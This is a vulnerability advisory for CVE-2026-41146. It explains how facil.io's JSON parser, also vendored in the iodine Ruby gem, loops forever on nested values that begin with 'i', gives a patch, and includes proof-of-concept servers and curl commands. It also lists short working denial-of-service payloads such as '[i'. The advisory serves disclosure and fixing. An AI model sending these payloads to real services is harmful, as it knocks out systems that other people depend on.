CVE-2026-41146

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

• facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
• iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
• iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

1. Inside an array or object, the parser sees i or I and jumps to the numeral: label.
2. It calls fio_atol((char **)&tmp).
3. For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
4. The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
5. JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
6. Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

1. The parser accepts the empty string "" as the first array element.
2. It does not require a comma before the next token.
3. The trailing i is then parsed as a new nested value.
4. The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

• Array form, minimal: [i
• Object form: {"a":i
• After a quoted value in an array: [""i
• After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

• facil.io commit: 162df84001d66789efa883eebb0567426d00148e
• iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
• standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

• The server prints calling http_parse_body and never reaches returned from http_parse_body.
• The request never completes.
• One worker thread spins until the process is killed.

Downstream impact in iodine

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

• ext/iodine/fio_json_parser.h

Impact

• facil.io
  • Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
  • Verified on tagged releases 0.7.5 and 0.7.6
• iodine Ruby gem
  • Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
  • Verified on tag / gem version v0.7.58
  • The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h